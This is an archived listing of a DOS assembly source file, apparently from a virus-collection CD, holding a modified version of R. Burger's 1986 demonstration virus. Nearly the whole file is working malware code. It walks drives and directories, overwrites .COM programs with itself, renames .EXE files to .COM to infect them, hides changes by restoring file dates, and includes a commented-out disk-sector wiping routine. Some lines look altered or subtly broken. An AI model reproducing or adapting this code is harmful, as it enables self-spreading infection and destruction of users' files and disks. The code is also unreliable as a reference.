home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RB2.ASM < prev    next >
Assembly Source File  |  1992-11-14  |  15KB  |  462 lines

  1.         page 70,120
  2.         Name VIRUS
  3. ;*************************************************************************
  4.  
  5. ;       Program Virus           Ver.:   1.1
  6. ;       Copyright by R. Burger 1986
  7. ;       This is a demonstration program for computer
  8. ;       viruses. It has the ability to replicate itself,
  9. ;       and thereby modify other programs
  10. ;*************************************************************************
  11.  
  12.  
  13.  
  14. Code    Segment
  15.         Assume  CS:Code
  16. progr   equ     100h
  17.         ORG     progr
  18.         
  19. ;*************************************************************************
  20.  
  21. ;       The three NOP's serve as the marker byte of the
  22. ;       virus which will allow it to identify a virus
  23. ;*************************************************************************
  24.  
  25. MAIN:
  26.         nop
  27.         nop
  28.         nop
  29.         
  30. ;*************************************************************************
  31.  
  32. ;       Initialize the pointers
  33. ;*************************************************************************
  34.  
  35.         mov ax,00
  36.         mov es:[pointer],ax
  37.         mov es:[counter],ax
  38.         mov es:[disks],al
  39.         
  40. ;*************************************************************************
  41.  
  42. ;       Get the selected drive
  43. ;*************************************************************************
  44.  
  45.         mov ah,19h              ; drive?
  46.         int 21h
  47.  
  48. ;*************************************************************************
  49.  
  50. ;       Get the current path on the current drive
  51. ;*************************************************************************
  52.  
  53.         mov cs:drive,al         ; save drive
  54.         mov ah,47h              ; dir?
  55.     mov ah,ah
  56.         mov si,si
  57.         mov dh,0
  58.         add al,1
  59.     mov dl,dl
  60.     nop ;****
  61.         mov dl,al
  62.     mov dl,dl
  63.     nop ;****               ; in actual drive
  64.         lea si,cs:old_path
  65.         int 21h
  66.         
  67. ;*************************************************************************
  68.  
  69. ;       Get the number of drives present.
  70. ;       If only one drive is present, the pointer for
  71. ;       search order will be set to search order + 6
  72. ;*************************************************************************
  73.  
  74.         mov ah,0eh              ; how many disks
  75.         mov dl,0                ;****????
  76.         int 21h
  77.         
  78.         mov al,01
  79.         cmp al,01               ; one drive?
  80.         jnz hups3
  81.         mov al,06
  82.         
  83. hups3:  mov ah,0
  84.         lea bx,search_order
  85.         add bx,ax
  86.         add bx,0001h
  87.         mov cs:pointer,bx
  88.         clc
  89.         
  90. ;*************************************************************************
  91.  
  92. ;       Carry is set, if no more .COM's are found.
  93. ;       Then, to avoid unnecessary work, .EXE files will
  94. ;       be renamed to .COM file and infected. 
  95. ;       This causes the error message "Program too large
  96. ;       to fit in memory" when starting larger infected 
  97. ;       EXE programs.
  98. ;*************************************************************************
  99.  
  100. change_disk:
  101.         jnc no_name_change
  102.         mov ah,17h              ; change exe to com
  103.         lea dx,cs:maske_exe
  104.         int 21h
  105.         cmp al,0ffh
  106.         jnz no_name_change      ; .EXE found?
  107.  
  108. ;*************************************************************************
  109.  
  110. ;       If neither .COM nor .EXE is found, then sectors will
  111. ;       be overwritten depending on the system time in
  112. ;       milliseconds. This is the time of the complete
  113. ;       "infection" of a storage medium. The virus can find
  114. ;       nothing more to infect and starts its destruction.
  115. ;*************************************************************************
  116.  
  117. ;        mov ah,2ch     ; read system clock
  118. ;        int 21h
  119. ;        mov bx,cs:pointer
  120. ;        mov al,cs:[bx]
  121. ;        mov bx,dx
  122. ;    nop ;****
  123. ;        mov cx,2
  124. ;    nop ;****
  125. ;        mov dh,0
  126. ;        int 26h         ; write crap on disk
  127.  
  128. db ' RB2 - LiquidCode <tm> '        
  129. ;*************************************************************************
  130.  
  131. ;       Check if the end of the search order table has been
  132. ;       reached. If so, end.
  133. ;*************************************************************************
  134.  
  135. no_name_change:
  136.         mov bx,cs:pointer
  137.         dec bx
  138.         mov cs:pointer,bx
  139.         mov dl,cs:[bx]
  140.         cmp dl,0ffh
  141.         jnz hups2
  142.         jmp hops
  143.         
  144. ;*************************************************************************
  145.  
  146. ;       Get new drive from search order table and
  147. ;       select it.
  148. ;*************************************************************************
  149.  
  150. hups2:
  151.         mov ah,0eh
  152.     mov dl,2 ;***** +
  153.         int 21h         ; change disk
  154.         
  155. ;*************************************************************************
  156.  
  157. ;       Start in the root directory
  158. ;*************************************************************************
  159.  
  160.         mov ah,3bh      ; change path
  161.         lea dx,path
  162.         int 21h
  163.         jmp find_first_file
  164.         
  165. ;*************************************************************************
  166.  
  167. ;       Starting from the root, search for the first subdir
  168. ;       First convert all .EXE files to .COM in the old 
  169. ;       directory.
  170. ;*************************************************************************
  171.  
  172. find_first_subdir:
  173.         mov ah,17h              ; change exe to com
  174.         lea dx,cs:maske_exe
  175.         int 21h
  176.         mov ah,3bh              ; use root dir
  177.         lea dx,path
  178.         int 21h
  179.         mov ah,04eh             ;Search for first subdirectory
  180.         mov cx,00010001b        ; dir mask                        
  181.         lea dx,maske_dir
  182.         int 21h
  183.         jc change_disk
  184.         
  185.         mov bx,CS:counter
  186.         INC BX
  187.         DEC bx
  188.         jz  use_next_subdir
  189.         
  190. ;*************************************************************************
  191.  
  192. ;       Search for the next subdir. If no more directories
  193. ;       are found, the drive will be changed.
  194. ;*************************************************************************
  195.  
  196. find_next_subdir:
  197.         mov ah,4fh      ; search for next subdir
  198.         int 21h
  199.         jc change_disk
  200.         dec bx
  201.         jnz find_next_subdir
  202.         
  203. ;*************************************************************************
  204.  
  205. ;       Select found directory
  206. ;*************************************************************************
  207.  
  208. use_next_subdir:
  209.         mov ah,2fh      ; get dta address
  210.         int 21h
  211.         add bx,1ch
  212.         mov es:[bx],'\ ' ; address of name in dta
  213.         inc bx
  214.         push ds
  215.         mov ax,es
  216.         mov ds,ax
  217.         mov dx,bx
  218.         mov ah,3bh      ; change path
  219.         int 21h
  220.         pop ds
  221.         mov bx,cs:counter
  222.         inc bx
  223.         mov CS:counter,bx
  224.         
  225. ;*************************************************************************
  226.  
  227. ;       Find first .COM file in the current directory.
  228. ;       If there are non, search the next directory.
  229. ;*************************************************************************
  230.  
  231. find_first_file:
  232.         mov ah,04eh     ; Search for first
  233.         mov cx,00000001b ; mask
  234.         lea dx,maske_com        ;
  235.         int 21h
  236.         jc find_first_subdir
  237.         jmp check_if_ill
  238.         
  239. ;*************************************************************************
  240.  
  241. ;       If the program is already infected, search for
  242. ;       the next program.
  243. ;*************************************************************************
  244.  
  245. find_next_file:
  246.         mov ah,4fh      ; search for next
  247.         int 21h
  248.         jc  find_first_subdir
  249.         
  250. ;*************************************************************************
  251.  
  252. ;       Check if already infected by the virus.
  253. ;*************************************************************************
  254.  
  255. check_if_ill:
  256.         mov ah,3dh      ; open channel
  257.         mov al,02h      ; read/write
  258.         mov dx,9eh      ; address of name in dta
  259.         int 21h
  260.         mov bx,ax       ; save channel
  261.         mov ah,3fh      ; read file
  262.         mov cx,buflen   ;
  263.         mov dx,buffer   ; write in buffer
  264.         int 21h
  265.         mov ah,3eh      ; CLOSE FILE
  266.         int 21h
  267.         
  268. ;*************************************************************************
  269.  
  270. ;       Here we search for three NOP's.
  271. ;       If present, there is already an infection. We must
  272. ;       then continue the search.
  273. ;*************************************************************************
  274.  
  275.         mov bx,cs:[buffer]
  276.         cmp bx,9090h
  277.         jz find_next_file
  278.         
  279. ;*************************************************************************
  280.  
  281. ;       Bypass MS-DOS write protection if present
  282. ;*************************************************************************
  283.  
  284.         mov ah,43h      ; write enable
  285.         mov al,0
  286.         mov dx,9eh      ; address of name in dta
  287.         int 21h
  288.         mov ah,43h
  289.         mov al,01h
  290.         and cx,11111110b
  291.         int 21h
  292.         
  293. ;*************************************************************************
  294.  
  295. ;       Open file for write access.
  296. ;*************************************************************************
  297.  
  298.         mov ah,3dh      ; open channel
  299.         mov al,02h      ; read/write
  300.         mov dx,9eh      ; address of name in dta
  301.         int 21h
  302.         
  303. ;*************************************************************************
  304.  
  305. ;       Read date entry of program and save for future use.
  306. ;*************************************************************************
  307.  
  308.         mov bx,ax       ; channel
  309.         mov ah,57h      ; get date
  310.         mov al,0
  311.         int 21h
  312.         push cx         ; save date
  313.         push dx
  314.         
  315. ;*************************************************************************
  316.  
  317. ;       The jump located at address 0100h of the program
  318. ;       will be saved for future use.
  319. ;*************************************************************************
  320.  
  321.         mov dx,cs:[conta]       ; save old jmp
  322.         mov cs:[jmpbuf],dx
  323.         mov dx,cs:[buffer+1]    ; save new jump
  324.         lea cx,cont-100h
  325.         sub dx,cx
  326.         mov cs:[conta],dx
  327.         
  328. ;*************************************************************************
  329.  
  330. ;       The virus copies itself to the start of the file
  331. ;*************************************************************************
  332.  
  333.         mov ah,40h      ; write virus
  334.         mov cx,buflen   ; length buffer
  335.         lea dx,main     ; write virus
  336.         int 21h
  337.         
  338. ;*************************************************************************
  339.  
  340. ;       Enter the old creation date of the file.
  341. ;*************************************************************************
  342.  
  343.         mov ah,57h      ; write date
  344.         mov al,1
  345.         pop dx
  346.         pop cx          ; restore date
  347.         int 21h
  348.         
  349. ;*************************************************************************
  350.  
  351. ;       Close the file.
  352. ;*************************************************************************
  353.  
  354.         mov ah,3eh      ; close file
  355.         int 21h
  356.         
  357. ;*************************************************************************
  358.  
  359. ;       restore the old jump address.
  360. ;       The virus saves at address "conta' the jump which
  361. ;       was at the start of the host program.
  362. ;       This is done to preserve the executability of the
  363. ;       host program as much as possible.
  364. ;       After saving itstill works with the jump address
  365. ;       contained in the virus. The jump address in the
  366. ;       virus differs from the jump address in memory
  367. ;
  368. ;*************************************************************************
  369.  
  370.         mov dx,cs:[jmpbuf]      ; restore old jmp
  371.         mov cs:[conta],dx
  372. hops:   nop
  373.         call use_old
  374.         
  375. ;*************************************************************************
  376.  
  377. ;       Continue with the host program.
  378. ;*************************************************************************
  379.  
  380. cont    db 0e9h         ; make jump
  381. conta   dw 0
  382.         mov ah,00
  383.         int 21h
  384.         
  385. ;*************************************************************************
  386.  
  387. ;       reactivate the selected drive at the start of the
  388. ;       program.
  389. ;*************************************************************************
  390.  
  391. use_old:
  392.         mov ah,0eh      ; use old drive
  393.         mov dl,cs:drive
  394.         int 21h
  395.         
  396. ;*************************************************************************
  397.  
  398. ;       Reactivate the selected path at the start of the
  399. ;       program.
  400. ;*************************************************************************
  401.  
  402.         mov ah,3bh      ; use old dir
  403.         lea dx,old_path-1       ; get old path and backslash
  404.         int 21h
  405.         ret
  406.         
  407.  
  408. search_order    db 0ffh,1,0,2,3,0ffh,00,0ffh
  409. pointer         dw 0000         ; pointer f. search order
  410. counter         dw 0000         ; counter f. nth search
  411. disks           db 0            ; number of disks
  412.  
  413.  
  414. maske_com       db "*.com",00   ; search for com files
  415. maske_dir       db "*",00       ; search dir's
  416. maske_exe       db 0ffh,0,0,0,0,0,00111111b
  417.                 db 0,"????????exe",0,0,0,0
  418.                 db 0,"????????com",0
  419. maske_all       db 0ffh,0,0,0,0,0,00111111b
  420.                 db 0,"???????????",0,0,0,0
  421.                 db 0,"????????com",0
  422.                 
  423. buffer equ 0e000h       ; a safe place
  424.  
  425. buflen equ 230h          ; length of virus !!!!!!
  426.                         ;      careful
  427.                         ; if changing !!!!!!
  428.                         
  429. jmpbuf equ buffer+buflen        ; a safe place for jump
  430. path   db  "\",0                ; first path
  431. drive  db  0                    ; actual drive
  432. back_slash db "\"
  433. old_path  db 32 dup(?)          ; old path
  434.  
  435. code    ends
  436.  
  437. end main
  438.  
  439. ;*************************************************************************
  440. ;       WHAT THE PROGRAM DOES:
  441. ;
  442. ;        When the program is started, the first COM file in the root
  443. ;        directory is infected. You can't see any changes to the 
  444. ;        directory entries. But if you look at the hex dump of an
  445. ;        infected program, you can see the marker, which in this case 
  446. ;        consists of three NOP's (hex 90). WHen the infected program 
  447. ;        is started, the virus will first replicate itself, and then
  448. ;        try to run the host program. It may run or it may not, but 
  449. ;        it will infect another program. This continues until all
  450. ;        the COM files are infected. The next time it is run, all
  451. ;        of the EXE files are changed to COM files so that they can
  452. ;        be infected. In addition, the manipulation task of the virus
  453. ;        begins, which consists of the random destruction of disk
  454. ;        sectors.                        
  455. ;*************************************************************************
  456.  
  457. ;  ─────────────────────────────────────────────────────────────────────────
  458. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  459. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  460. ;  ─────────────────────────────────────────────────────────────────────────
  461.  
  462.